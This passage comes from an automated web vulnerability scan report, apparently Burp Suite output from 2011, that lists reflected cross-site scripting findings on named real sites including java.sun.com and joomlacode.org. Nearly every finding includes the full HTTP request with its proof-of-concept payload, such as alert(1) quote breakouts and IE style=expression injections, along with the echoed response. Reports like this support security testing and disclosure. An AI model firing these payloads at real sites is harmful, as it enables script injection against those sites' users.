HTTP/1.1 200 OK Cache-Control: private Content-Length: 46114 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:08 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Penguinista ...[SNIP]...
4.108. http://it.toolbox.com/blogs/ppmtoday [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/ppmtoday
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 306f2'-alert(1)-'2382eb5920b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/ppmtoday?306f2'-alert(1)-'2382eb5920b=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63706 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:00 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Future Stat ...[SNIP]... != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3dppmtoday%26306f2'-alert(1)-'2382eb5920b%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9722"style%3d"x%3aexpression(alert(1))"ce67ab2234b was submitted in the REST URL parameter 1. This input was echoed as f9722"style="x:expression(alert(1))"ce67ab2234b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /productsf9722"style%3d"x%3aexpression(alert(1))"ce67ab2234b/plugin/autodl HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:09:47 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/productsf9722"style="x:expression(alert(1))"ce67ab2234b/plugin/autodl &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 491eb"style%3d"x%3aexpression(alert(1))"2f39587331b was submitted in the REST URL parameter 2. This input was echoed as 491eb"style="x:expression(alert(1))"2f39587331b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /products/plugin491eb"style%3d"x%3aexpression(alert(1))"2f39587331b/autodl HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:10:32 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/products/plugin491eb"style="x:expression(alert(1))"2f39587331b/autodl &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cda2"style%3d"x%3aexpression(alert(1))"ceeb973e53 was submitted in the REST URL parameter 3. This input was echoed as 2cda2"style="x:expression(alert(1))"ceeb973e53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /products/plugin/2cda2"style%3d"x%3aexpression(alert(1))"ceeb973e53 HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:12:00 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/products/plugin/2cda2"style="x:expression(alert(1))"ceeb973e53 &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6036f"style%3d"x%3aexpression(alert(1))"1d04adb81fe was submitted in the REST URL parameter 1. This input was echoed as 6036f"style="x:expression(alert(1))"1d04adb81fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /products6036f"style%3d"x%3aexpression(alert(1))"1d04adb81fe/plugin/autodl/jinstall-1_4_2-windows-i586.cab HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:10:36 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/products6036f"style="x:expression(alert(1))"1d04adb81fe/plugin/autodl/jinstall-1_4_2-windows-i586.cab &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f027"style%3d"x%3aexpression(alert(1))"82c3e87f4db was submitted in the REST URL parameter 2. This input was echoed as 3f027"style="x:expression(alert(1))"82c3e87f4db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /products/plugin3f027"style%3d"x%3aexpression(alert(1))"82c3e87f4db/autodl/jinstall-1_4_2-windows-i586.cab HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:10:20 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/products/plugin3f027"style="x:expression(alert(1))"82c3e87f4db/autodl/jinstall-1_4_2-windows-i586.cab &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 754e0"style%3d"x%3aexpression(alert(1))"fe88d234451 was submitted in the REST URL parameter 3. This input was echoed as 754e0"style="x:expression(alert(1))"fe88d234451 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /products/plugin/754e0"style%3d"x%3aexpression(alert(1))"fe88d234451/jinstall-1_4_2-windows-i586.cab HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:10:53 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Sun Microsystems</title> <!-- BEGIN METADATA --> <meta http-equiv="content-type" content="text/html; charse ...[SNIP]... <a href="/contact/feedback.jsp? referer=http://java.sun.com/notfound.jsp &requrl=http://java.sun.com/products/plugin/754e0"style="x:expression(alert(1))"fe88d234451/jinstall-1_4_2-windows-i586.cab &refurl=http://java.sun.com/UserTypedUrl &category=se"> ...[SNIP]...
The value of the redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32b15"%20a%3db%2094a4ff668b0 was submitted in the redirect parameter. This input was echoed as 32b15" a=b 94a4ff668b0 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /gf/account/?action=Login&redirect=%2Fgf%2Fproject%2Fjoomla%2Freporting%2F32b15"%20a%3db%2094a4ff668b0 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 16:03:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 9533
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.116. http://joomlacode.org/gf/project/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6c95"style%3d"x%3aexpression(alert(1))"a2a3aa10cec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d6c95"style="x:expression(alert(1))"a2a3aa10cec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/?d6c95"style%3d"x%3aexpression(alert(1))"a2a3aa10cec=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:38:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 43816
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.117. http://joomlacode.org/gf/project/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57b13'style%3d'x%3aexpression(alert(1))'4d30efc0df0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 57b13'style='x:expression(alert(1))'4d30efc0df0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/?57b13'style%3d'x%3aexpression(alert(1))'4d30efc0df0=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:38:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 43816
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.118. http://joomlacode.org/gf/project/com_joodater/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/com_joodater/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e6731'style%3d'x%3aexpression(alert(1))'526aca74341 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e6731'style='x:expression(alert(1))'526aca74341 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/com_joodater/news/?e6731'style%3d'x%3aexpression(alert(1))'526aca74341=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:34:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19209
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.119. http://joomlacode.org/gf/project/com_joodater/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/com_joodater/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d560d"style%3d"x%3aexpression(alert(1))"9bcca7c27f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d560d"style="x:expression(alert(1))"9bcca7c27f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/com_joodater/news/?d560d"style%3d"x%3aexpression(alert(1))"9bcca7c27f3=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:34:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19209
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.120. http://joomlacode.org/gf/project/feedgator/frs/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/feedgator/frs/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bffa0"style%3d"x%3aexpression(alert(1))"cfbd9ee172b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bffa0"style="x:expression(alert(1))"cfbd9ee172b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/feedgator/frs/?bffa0"style%3d"x%3aexpression(alert(1))"cfbd9ee172b=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:39:47 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25946
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.121. http://joomlacode.org/gf/project/feedgator/frs/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/feedgator/frs/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fc19e'style%3d'x%3aexpression(alert(1))'505c176eb8a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fc19e'style='x:expression(alert(1))'505c176eb8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/feedgator/frs/?fc19e'style%3d'x%3aexpression(alert(1))'505c176eb8a=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:40:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25946
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.122. http://joomlacode.org/gf/project/feedgator/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/feedgator/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 27f9c'style%3d'x%3aexpression(alert(1))'a61287d2c0e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 27f9c'style='x:expression(alert(1))'a61287d2c0e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/feedgator/news/?27f9c'style%3d'x%3aexpression(alert(1))'a61287d2c0e=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:38:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.123. http://joomlacode.org/gf/project/feedgator/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/feedgator/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f59f"style%3d"x%3aexpression(alert(1))"bb796709e03 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3f59f"style="x:expression(alert(1))"bb796709e03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/feedgator/news/?3f59f"style%3d"x%3aexpression(alert(1))"bb796709e03=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:38:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.124. http://joomlacode.org/gf/project/imgttfmenu/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/imgttfmenu/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94e9a"style%3d"x%3aexpression(alert(1))"8d8684829a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 94e9a"style="x:expression(alert(1))"8d8684829a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/imgttfmenu/news/?94e9a"style%3d"x%3aexpression(alert(1))"8d8684829a5=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:34:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.125. http://joomlacode.org/gf/project/imgttfmenu/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/imgttfmenu/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4f7bf'style%3d'x%3aexpression(alert(1))'1597b2bf2b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4f7bf'style='x:expression(alert(1))'1597b2bf2b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/imgttfmenu/news/?4f7bf'style%3d'x%3aexpression(alert(1))'1597b2bf2b0=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:34:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.126. http://joomlacode.org/gf/project/joomla/frs/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/frs/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5d43d'style%3d'x%3aexpression(alert(1))'7e573a5d85 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5d43d'style='x:expression(alert(1))'7e573a5d85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/frs/?5d43d'style%3d'x%3aexpression(alert(1))'7e573a5d85=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
